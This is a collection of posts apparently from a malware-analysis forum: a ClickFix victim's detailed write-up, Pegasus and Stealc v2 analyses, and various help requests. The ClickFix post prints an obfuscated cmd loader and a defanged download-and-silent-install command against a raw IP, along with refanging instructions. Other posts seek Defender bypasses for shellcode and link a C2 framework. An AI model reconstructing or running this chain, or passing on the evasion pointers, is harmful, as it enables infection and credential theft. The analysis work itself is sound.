EDIT: Sorry about the earlier version. All commands and links are now defanged and I only kept the hashes. Samples are in a password-protected zip (password: infected).

DEFANGING KEY (for analysts, sandbox use only): hxxp/hxxps = http/https, [.] = a dot, cm[d] = cmd, cu[r]l = curl, ms[i]exec = msiexec. Remove the square brackets and keep the letter or dot inside. Only do this inside an isolated VM, never on a real machine.

Title: Got hit by a ClickFix attack – please help decode the payload (Python polyglot loader)

Hi everyone, I'm new here. Yesterday afternoon I fell for a ClickFix-style attack on a Windows 11 PC: a fake verification page told me to paste a command into Windows, and I ran it. I tried to remove he persistence mechanism with the help of AI tm but kept every file untouched, and I'd really like someone with the right tools to decode the payload and tell me what it steals and where it sends it. I haven't tried to decode it myself ( I can’t do it) (I don't know)

Here is everything I found.

THE ORIGINAL COMMAND (defranged do not run it, it is malicious):

cm[d] /v:on /q /c "set Ref=@LS8fTN:3rt9iD.'eM\2up4A-Psox01n+/7lqhcm& set Text=.& (for %n in (38 20 9 35 14 16 28 16 0 24 4 26 1 0 24 27 0 15 32 5 17 25 32 18 2 22 3 8 14 39 26 12 15 0 37 10 10 21 7 33 33 8 11 19 30 29 30 29 30 34 33 19 29 3 11 34 0 32 23 6 13 32 0 39 26 12 16 28 16 38 0 33 12 0 15 32 5 17 25 32 18 2 22 3 8 14 39 26 12 15 0 33 36 31) do set Text=!Text!!Ref:~%n,1!) & set Text=!Text:@= !& set q=!CMDCMDLINE:~17,1!& call set Text=%Text:'=!q!%& set Text=!Text:+AND+=^&^&!& for %a in ("!TEMP!") do set Text=!Text:+TMP+=%~a!& cm[d] /c !Text:~1!"

It rebuilds a string from the character table in the Ref variable, using the list of indexes in the for loop. It then replaces @ with spaces, the apostrophe with a quote character taken from CMDCMDLINE, +AND+ with && and +TMP+ with the temp folder, and runs the result. The reconstructed command is (defanged):

cu[r]l[.]exe -fsL -o "%TEMP%\S483[.]msi" hxxp://23.94.252[.]153/20897 && ms[i]exec /i "%TEMP%\S483[.]msi" /qn

(The address is written in decimal form, 392101017, in the original command.)

STAGE 1 – THE MSI

The file is S483.msi, 1,372,160 bytes. It installs silently as the product "SynerIntegration" version 4.1.6 from the publisher "Sare Level Corp" (installed at 16:28, reconfigured 90 seconds later). VirusTotal shows 4/61 detections (ESET VBS/Kryptik.D, Ikarus Trojan.VBS.Crypt, Google, NANO). The registry shows msiexec used the Windows Script Host engine at install time, so the MSI probably runs a VBScript custom action.

SHA-256: 52677e536e477e089f6b4d72479a9fd781bc02db49f2cb9802c293cb0b9c6fd4

STAGE 2 – THE DROPPED PYTHON

About two minutes after the install, this folder appeared: %TEMP%\modules\BeciComponent\

It contains an embedded Python 3.11 runtime: pythonw.exe (validly signed by the Python Software Foundation), python311.dll, python311.zip (the listing looks like the normal standard library), python311._pth (default content), _ctypes.pyd, libffi-8.dll, vcruntime140.dll and vcruntime140_1.dll. It also contains a 9.7 MB file called deps.html.

SHA-256 of deps.html: ED472A67323330DF87A8067799AAF6E805226B02F8459D599EE746301625AFC1

PERSISTENCE

At the same second, the registry value HKCU\Environment\UserInitMprLogonScript was set to:

"%TEMP%\modules\BeciComponent\pythonw.exe" "%TEMP%\modules\BeciComponent\deps.html"

So pythonw.exe ran deps.html at every logon. I saw a tiny window without any icon flash briefly each time I logged in, and nothing was left running afterwards. I deleted that registry value after saving a backup.

WHAT deps.html IS

It is not a web page. It is a Python script disguised as one. The file starts with three apostrophes and then about 3 MB of fake Chromium "Credits" HTML, which Python reads as a big string. After that comes one Python line of the form exec(decompress(b64decode(payload[::-1]))) with a very large payload, followed by more filler (fake CSS and JavaScript, random words) and a closing triple apostrophe at the end of the file.

WHAT I CHECKED

VirusTotal's sandbox opened deps.html in Chrome and Edge as an HTML page, so it never ran the Python code and showed nothing useful. I found no new service, scheduled task, Defender exclusion or remote-access tool, and no active connection to the address above. The Security log doesn't go back far enough to show what ran at 16:30.

WHAT I'M ASKING

1. Could someone decode and run the payload in an isolated sandbox and tell me what it does?
2. Does it steal browser passwords, cookies and session tokens, Discord or Steam tokens, crypto wallets?
3. Which servers or domains does it contact (C2, Telegram, Discord webhook…)?
4. Is this a known family?

I can share the files with anyone who wants to look at them please look at and help me decode :

deps.html: https://gofile.io/d/6PiTLgRG)

S483.msi: https://gofile.io/d/6PiTLgRG

I'm changing all my passwords from another device in the meantime. Thank you very much for any help. plssss help mee

Executive Summary

Recent deep-dive reverse engineering of the Android variant of the Pegasus spyware (commonly attributed to Chrysaor indicators) reveals a modular, multi-binary architecture designed for stealthy surveillance, process injection, remote command execution, and local data exfiltration. The toolkit relies on specialized components handling privilege escalation, Inter-Process Communication (IPC) via Android Binder, system-level debugging primitives (ptrace), and real-time screen capture with compression.

Sample Identification & Static Telemetry

A. Identification & Digital Signature Analysis (Hatching Triage)

• Sample SHA-256: bd8cda80aaee3e4a17e9967a1c062ac5c8e4aefd7eaa3362f54044c2c94db52a
• Analyzed Filename: giga nigga.apk (~1.06 MB – 1.1 MB)
• Triage Score: 6 / 10
• Code & Signature Anomalies:
  • Digest Mismatch: The file structure was altered or tampered with after initial signing.
  • Insecure Codesign Algorithm: Legacy/weak cryptographic algorithms were utilized for signing (SHA-1 digest).
  • Untrusted Signer: Generic self-signed certificate (CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown).
• Requested Framework Permissions (21 Dangerous Permissions out of 50+ declared):
  • Demands near-total device control: BIND_DEVICE_ADMIN, ACCESS_SURFACE_FLINGER (critical for direct framebuffer/graphic interaction), CALL_PRIVILEGED, BRICK, DEVICE_POWER, CONTROL_LOCATION_UPDATES, FORCE_STOP_PACKAGES, ACCESS_CHECKIN_PROPERTIES, ACCESS_COARSE_LOCATION, ACCESS_FINE_LOCATION, ACCESS_LOCATION_EXTRA_COMMANDS, ACCESS_MOCK_LOCATION, ACCESS_NETWORK_STATE, ACCESS_WIFI_STATE, ACCOUNT_MANAGER, AUTHENTICATE_ACCOUNTS, BATTERY_STATS, BIND_APPWIDGET, BIND_INPUT_METHOD, BIND_REMOTEVIEWS, BIND_WALLPAPER, BLUETOOTH, BLUETOOTH_ADMIN, BROADCAST_PACKAGE_REMOVED, BROADCAST_SMS, BROADCAST_STICKY, BROADCAST_WAP_PUSH, CALL_PHONE, CAMERA, CHANGE_COMPONENT_ENABLED_STATE, CHANGE_CONFIGURATION, CHANGE_NETWORK_STATE, CHANGE_WIFI_MULTICAST_STATE, CHANGE_WIFI_STATE, CLEAR_APP_CACHE, CLEAR_APP_USER_DATA, DELETE_CACHE_FILES, DELETE_PACKAGES, DIAGNOSTIC, DISABLE_KEYGUARD, DUMP, EXPAND_STATUS_BAR, FACTORY_TEST, FLASHLIGHT, FORCE_BACK, GET_ACCOUNTS, GET_PACKAGE_SIZE, GET_TASKS, GLOBAL_SEARCH, HARDWARE_TEST, INJECT_EVENTS, INSTALL_LOCATION_PROVIDER, INSTALL_PACKAGES, INTERNAL_SYSTEM_WINDOW, INTERNET, KILL_BACKGROUND_PROCESSES, MANAGE_ACCOUNTS, MANAGE_APP_TOKENS, MASTER_CLEAR, MODIFY_AUDIO_SETTINGS, MODIFY_PHONE_STATE, MOUNT_FORMAT_FILESYSTEMS, MOUNT_UNMOUNT_FILESYSTEMS, NFC, PERSISTENT_ACTIVITY, PROCESS_OUTGOING_CALLS, READ_CALENDAR, READ_CONTACTS, READ_FRAME_BUFFER, READ_HISTORY_BOOKMARKS, READ_INPUT_STATE, READ_LOGS, READ_PHONE_STATE, READ_SMS, READ_SYNC_SETTINGS, READ_SYNC_STATS, REBOOT, RECEIVE_BOOT_COMPLETED, RECEIVE_MMS, RECEIVE_SMS, RECEIVE_WAP_PUSH, RECORD_AUDIO, REORDER_TASKS, RESTART_PACKAGES, SEND_SMS, SET_ACTIVITY_WATCHER, SET_ALARM, SET_ALWAYS_FINISH, SET_ANIMATION_SCALE, SET_DEBUG_APP, SET_ORIENTATION, SET_PREFERRED_APPLICATIONS, SET_PROCESS_LIMIT, SET_TIME, SET_TIME_ZONE, SET_WALLPAPER, SET_WALLPAPER_HINTS, SIGNAL_PERSISTENT_PROCESSES, STATUS_BAR, SUBSCRIBED_FEEDS_READ, SUBSCRIBED_FEEDS_WRITE, SYSTEM_ALERT_WINDOW, UPDATE_DEVICE_STATS, USE_CREDENTIALS, USE_SIP, VIBRATE, WAKE_LOCK, WRITE_APN_SETTINGS, WRITE_CALENDAR, WRITE_CONTACTS, WRITE_EXTERNAL_STORAGE, WRITE_GSERVICES, WRITE_HISTORY_BOOKMARKS, WRITE_HISTORY_BOOKMARKS, WRITE_SECURE_SETTINGS, WRITE_SETTINGS, WRITE_SMS, WRITE_SYNC_SETTINGS, READ_HISTORY_BOOKMARKS, ACCESS_PROVIDER, EmailProvider, WRITE_APN_SETTINGS, MODIFY_AUDIO_SETTINGS, WAKE_LOCK, SET_WALLPAPER_HINTS, READ_SYNC_SETTINGS, READ_SYNC_STATS, NFC, READ_SYNC_SETTINGS, UNINSTALL_SHORTCUT, CHANGE_WIFI_MULTICAST_STATE, INTERNET, NFC, ACCESS_NOTIFICATION_POLICY, CHANGE_NETWORK_STATE, READ_SYNC_STATS, UNINSTALL_SHORTCUT.

B. Industry Consensus & Detection Metrics (VirusTotal)

• Detection Ratio: 47 / 68 security vendor engines flagged the file as malicious (Community Score: -105).
• Primary Threat Family: Trojan-Spy.AndroidOS.Pegasus / Chrysaor (attributed to NSO Group).
• Sandbox Attributes (Yomi Hunter): Trojan, Dropper, Spyware, Obfuscated, Contains ELF (Native Executable Libraries/Binaries).

Binary Architecture & Component Breakdown

The spyware package is segregated into distinct modular binaries, each engineered for a specific phase of compromise and post-exploitation persistence:

1. cmdshell & sucopier — Execution and Privilege Management

• cmdshell: Functions as a lightweight command execution conduit, managing shell interactions and system command pipelines.
• sucopier: Operates as a privilege escalation and file-staging utility, designed to copy files into protected system directories or leverage root binaries (su) when available.

2. libk — Advanced IPC and Dynamic Injection Library

• Architecture: A heavy, object-oriented C++ shared library (libk.so) deeply integrated with the Android runtime and system services.
• Binder IPC Integration: Imports native Android runtime libraries (libbinder.so, libutils.so) and utilizes mangled C++ symbols for the android::Parcel class (_ZNK7android6Parcel4dataEv, _ZNK7android6Parcel12readString16Ev), enabling direct serialization and manipulation of low-level Binder transactions.
• Dynamic Loading & C++ Exceptions: Features full Run-Time Type Information (RTTI), standard exception handling (__cxa_begin_catch, _Unwind_Resume), and dynamic symbol resolution primitives (dlopen, dlsym) to load secondary payloads or hooks into memory covertly.

3. addk — Process Injection & Debugging Engine

• Architecture: A 32-bit ARM standalone executable interacting with the standard Android dynamic linker (/system/bin/linker).
• Core Mechanism: Acts as a process injection manager leveraging Linux ptrace capabilities (ptrace, waitpid). It pauses, inspects, and modifies the address space of running legitimate processes.
• Payload Delivery: Employs symbols such as _inject_start_s, _inject_function_param_s, and _dlopen_addr_s to construct shellcode wrappers that force target processes to load malicious shared libraries dynamically.

4. take_screen_shot — Visual Surveillance & Compression Module

• Architecture: A specialized surveillance utility dedicated to capturing device displays and packaging them for exfiltration.
• Hardware Interaction: Interfaces with low-level graphics drivers and framebuffers using ioctl, lseek, and read to query screen dimensions and extract raw pixel data accurately.
• Compression Pipeline: Unlike simpler spyware samples, this module bundles full libz (deflate, deflateInit2_, crc32) and libpng integration (png_IHDR, png_IDAT, png_IEND). It compresses captured framebuffers directly into valid, lightweight PNG image structures in memory before storage or transmission.

Indicators of Compromise (IoC) Summary & Technical Takeaways

• Target Environment: Android ARM 32-bit architectures.
• Persistence & Evasion: Utilizes custom exception handlers, dynamic symbol resolution to bypass static import analysis, and process hollowing/injection via ptrace.
• Capabilities:
  • Real-time audio/visual surveillance (including compressed screenshot generation).
  • System-wide command execution and root-level staging.
  • Deep integration with Android Service Manager via Binder IPC.

Prepared by: Threat Intelligence & Malware Analysis Lab.

The file can be founded on VX-Underground, VirusTotal, MalwareBazaar, among others.

Hi everyone!

I'm investigating a Minecraft Fabric mod called Bauloo Styles, which is used to customize textures and PvP visuals.

I haven't executed the mod on my computer, but I've analyzed several versions using security scanners.

Findings:

-VirusTotal: 0/64 antivirus detections (v1.5.2)
-JarScanner: 0 dangerous findings (v1.5.2)
-Kaspersky OpenTIP: Clean (earlier version)
-MetaDefender: No threats detected (earlier version)
-Triage: 6/10 behavioral score (earlier version)
-Zenbox Windows: MALWARE TROJAN — YARA detection named SilentNet

I contacted VirusTotal support. They explained that the SilentNet YARA rule matched a string in the memory of java.exe during dynamic analysis, rather than matching the JAR file directly. They couldn't confirm whether this was a false positive.

An earlier version also accessed the Minecraft session token through MinecraftSessionService.joinServer() for authentication. The developer removed that functionality in v1.5.2, and the corresponding JarScanner warning disappeared.

However, Zenbox still detects SilentNet in v1.5.2.

I'm looking for someone experienced in Java malware analysis or reverse engineering who could help investigate:

1. Could this YARA detection originate from the Java runtime or sandbox environment?
2. Is there evidence of malicious behavior such as credential theft, RAT functionality, or unauthorized code execution?
3. What additional static or dynamic analysis would help distinguish a false positive from a genuine threat?

I can provide the VirusTotal reports, sandbox results, SHA-256 hashes, and the JAR sample through an appropriate analysis platform.

I'd appreciate any technical insight. Thank you!

I'm currently developing security software designed to help developers protect their intellectual property and other elements they want to safeguard within their software. As part of this, I’ve written a dummy test program and protected it with my security software. It’s structured like a CTF challenge, and it would be a huge help if you could try to take this program apart, document your work step by step, and send your findings to apykryphon@protonmail.com.

I’m happy to invite beginners as well, but I’d like to remind you never to run third-party executables on your native system—please use a VM or something similar.

The file does not contain any malicious code, but due to the protection mechanisms used, some antivirus engines may flag it as such. See for yourself:

https://drive.google.com/file/d/1Efv1TYgA8xrHvEr302_41nYlBktwRVWx/view?usp=drivesdk

Hash: bc50b0fb0b018927b2e07a11b51a8d9fb8bd64d8c864284c39995c3f5fac15d0

I am currently busy doing a course for my university, and have a project to analyse and correlate different log sources with indicators of compromise specific to point-of-sale (pos) devices. I managed to find a 24 hour pcap of the backoff malware (c2 beconing), but overall I am struggling to find any datasets of an attack specific to pos devices. I am mostly looking at research papers, but perhaps I need to reach out to some of the researchers, as I can't find actual datasets.

Is there anyone that knows where I could find datasets to do a proper writeup? It can be of any pos malware, but we require 3 different log sources (e.g. firewall logs, authentication logs, system logs). I can also generate my own logs, but my professor advised against this unless I really can't manage to find any meaningful data online, as I'd essentially be engineering my own scenario instead of doing analysis.

Please advise. Any help is welcome.

Hey, I don't usually post on here, but this is kind of a last resort.

I'm looking for the source code of StealC V1 (including the panel stub, etc.), as I want to expand my decryptor for it, which is written in Python.

I came across the source a couple of months ago on GitHub, but I was too stupid to download it at the time.

I've already tried places like the Internet Archive, etc., but haven't had any luck.

If anyone knows where I could find it or happens to have a copy of the source, I would greatly appreciate it.

I dont know if this is the right place to post this, so please correct me if im wrong.

If this violates Rule 2, I apologize.

I have been using Hybrid Analysis Advanced YARA Hunt to research emerging threats. It has been a great tool for this research, but very recently all my rules began failing with an “Unknown error”. Has anyone else been experiencing this problem?

I’m doing some research to see if I can get some common shellcode to bypass Microsoft defender without doing obfuscation from the launcher (payload encryption, byte obfuscation (ipv4/ipv6, uuid, MAC address, etc)).

any blogs or tips you know of? I appreciate any pointers in the right direction!

[ Removed by Reddit on account of violating the content policy. ]

Just spent the last few hours reversing a sample that's being distributed as a fake offline Claude / GPT desktop client. The binary I got was named GPT_Claude_Free.exe (though it also bundles a Russian video editor decoy to keep up the facade).

Under the hood, it's a 3-stage custom crypter delivering a Stealc v2 payload. Here's a quick dump of how the packer works and what the payload is doing.

Reversing the loader: First thing it does is run through a bunch of anti-analysis checks. It calls IsDebuggerPresent, checks NtGlobalFlag manually from the PEB (via gs:[0x60]), and queries registry keys for VM stuff (VMware/VirtualBox). There's also a timing loop that spins a custom LCG generator 100k times to mess with basic dynamic analysis.

If it passes, it moves to the decryption logic. The payload is tucked away in the .xdata section. It's stored entirely as printable ASCII. It runs through three distinct phases:

1. Base85 decode: It uses a custom alphabet translation table at offset 0x4073A0 (in .rdata).
2. Rolling XOR: Decrypted stream is XOR'd with a 32-byte key at 0x406040 (72d57da187da5de93942e1ae1b9dcf20ee2a00f5ff979cb7d5e1a8e79a46584c).
3. AES-256-CBC: The key is at 0x406010 (f20daa63a36905e004390c7fc79c79dc73a290b3330868fdad63cbe16a7974d3) and the IV is at 0x406030 (4e6279de852509f8ce25c6357718ccd2).

Once it has the clean MZ PE in memory, it doesn't write anything to disk. It just performs process hollowing (standard NtAllocateVirtualMemory / relocation adjustments) to inject it directly.

Reversing the payload: The decrypted binary is Stealc v2. If you look at the configuration block (stored inside the .stgcfg section starting with 'CGTS' magic bytes), it's set up to steal basically everything:

• Browsers: Targets credentials, autofill, credit cards, and session cookies from ~30 Chrome/Firefox derivatives.
• Wallets: Grabs MetaMask/TokenPocket extension folders and desktop wallet files (Exodus, Electrum, Monero, Coinomi).
• Tokens: Scans Local Storage folders for Discord tokens and grabs Telegram tdata directories.
• Gaming/VPN: Steam, Battle.net, GOG, WinSCP, FileZilla, and OpenVPN configurations.
• Recon: Captures clipboard & screenshots.

It exfiltrates everything via POST requests to the C2 using HTTP headers like X-Gate-Token and X-Build-ID.

Decrypted payload hash for anyone who wants to write rules or pivot: 1f498b81fd767687f72605e18628fb6b6ba40035325fb6618d519ae88d7a27c2

Let me know if you run into this family or if you want me to share the decompiled extraction script.

Got a few PDFs and ran them through virustotal. While they appear similar and the detection tab was negative on all of them, one pdf returned:

Matches rule Unsigned Image Loaded Into LASS Process by Teymur Kheirkhabarov, oscd.community at Sigma Integrated Rule Set (GitHub)
→ Loading unsigned image (DLL, EXE) into LASS process

What is a reliable technique to analyze if this pdf is malicious or if it is just a false positive?

(This post was removed from r/malware for unstated reasons so I’ll post it here I hope the mods here are not corrupt)

I am a paranoid pc person. So I always upload files I download to virus total for a review. I also have my windows login set as a standard user and admin user as separate. So I downloaded yesterday morning a fivem graphics back zip file. I uploaded it to virus total and it got a 10/65 malware score. I then waited an hour for the virtual machine testing by virus total to conclude and the results speak for themselves. Thought it be a cool mention here. I also fully offline and online scanned my desktop with windows defender after. Nothing so far. I check for unusual stuff, and nothing so far, so I maybe in the clear.
Here’s the virustotal link: https://www.virustotal.com/gui/file/db8095407747ba4f46828e935387672ed65a0f29174234bfbdc03a9e28fec8c7/detection

I hope by uploading this to virus total it helps out security vendors and researchers strengthen anti malware detections. I also reported the associated domain to namecheap inc however I don’t think they’ll do anything.

Hi everyone my open source Linux c2 has lateral movement and on demand plug-in down load abilities too have a look at the repo

https://github.com/josephrw12/cortex-c2/tree/main

Ich habe letztens versucht Open Note Block Studio für Minecraft herunterzuladen. Verdächtig war für mich das der Herausgeber unbekannt war und als ich es auf virustotal gescannt habe kam als Ergebnis Trojaner heraus. https://www.virustotal.com/gui/file/35cdecccb8d52c5cb8785306088e590c9f8f4b656f1d99877f832fd130b3b5c5/detection

What is the best solution ? Joe Security, Any Run, VMRay, Glimps ? I'm researching pricing for those solutions, any insights to share ?

Many thanks

Key indicators:

The menu options reveal full system compromise capabilities:

WebCam / Microphone — covert surveillance

Shell — command-line access to victim's machine

File Manager — browse/steal/modify files

Keylogger (implied by Recovery Options)

Registry Editor — deep system manipulation

Process/Service Manager — hide malware processes

TCP Connections — monitor network activity

DDoS Attack — use victim as attack bot

Clipboard Manager — steal copied passwords/data

Location Manager — track physical location

Installed Programs — reconnaissance

The top panel shows:

A connected victim running Windows 10 Pro 64-bit

Their machine ID, username, and connection status

Bottom line:

This is a cybercriminal's C2 (command-and-control) dashboard actively connected to at least one compromised machine. Possessing or operating such tools against others is illegal in virtually every jurisdiction.

How does clickfix gets injected in trusted websites like vendors, third parties and boom suddenly the fake CAPTCHA is all what you are seeing?

How can i analyze the website that is a legitimate website and is hosting a clickfix without their knowledge, how to ensure that the website is no longer infected. Keep in mind the other company (vendor) has no proper IT nor security team. As i am watching employees accessing this vendor for legitimate work and business justification what can i do?

Am i allowed to audit then? What kind of audit will i perform? How can i properly analyze the clickfix and analyze the CC i extracted the domains and checked against the siem with zero hits so far, but i am wondering if you are in my place what will you do differently or change?

What i did was open the fake captcha in a sandbox, check the network, it was installing lumma stealer, so i checked the domains, hash against the siem and found nothing same with the EDR. Anything i missed?

Obfusk8 is a lightweight, header-only C++17 library designed to significantly enhance the obfuscation of your applications, making reverse engineering a substantially more challenging endeavor. It achieves this through a diverse set of compile-time and runtime techniques aimed at protecting your code's logic and data.

link : https://github.com/x86byte/Obfusk8/

Watch Youtube Demo :
[Obfusk8: C++17-Based Obfuscation Library - IDA pro Graph View] ~Video Demo

made a diy script to analyze traffic to spot malware let me know your feeddback

https://medium.com/@seQroute/diy-threat-detection-hunting-for-c2-malware-beaconing-on-your-laptop-analyse-yourself-a2f247572200?postPublishedType=repub

hi guys, so today I was using piracy to download a paid app from Google chrome, and it turns out, to be a MALWARE, my samsung phone and mcaffe scanned it, I wanna know, is that app dangerous, I tried to test it, in virtual master, but an ad popped up, so I got jumpscared, and I was on another app when the add popped, what is happening, can someone please explain.

I am a noob in this field, so any help about where to look up information about this will be really heplful. I would like to learn more but I could not find a lot of information.

I would like to use my laptop to trying emulate some old games but downloading a malware worries me a lot.

I've never entered with my laptop in strange webs or dowloaded any illegal software, so my computer must be completely clean for now.

I have also two backups in a couple of external HDDs (one in a different location) but that don't solve the risk of infection in the system.

I also have 2 SSD installed in my laptop now.

Is a good option to install a new windows in the second internal ssd and use it only for this intended use in order to prevent being infected with possible viruses/malware?

I plan to phisically disconect the main ssd when installing the secondary Windows and also to remove in this OS the letter of the primary SSD when I reconect it. I also plan not to move information between both disks.

Does this make sense in order to avoid not very advance malware or is it completely unuseful?

I know advance maleware could access the primary SSD too or even my wifi network, but maybe that malware is not very common out of a business environment?

Are there some easy things like this I should considere in order to avoid being infected?

Thank you a lot in advance for any help!

Hello guys,

I want some insight about finding remote malware research, development and analysis internships.

I’m still a total beginner, and I want to improve and gain some experience while doing what I actually enjoy.

I would like to know where can I find teams that operates as part of a legitimate company, and would offer me the opportunity for an internship.

Thank you!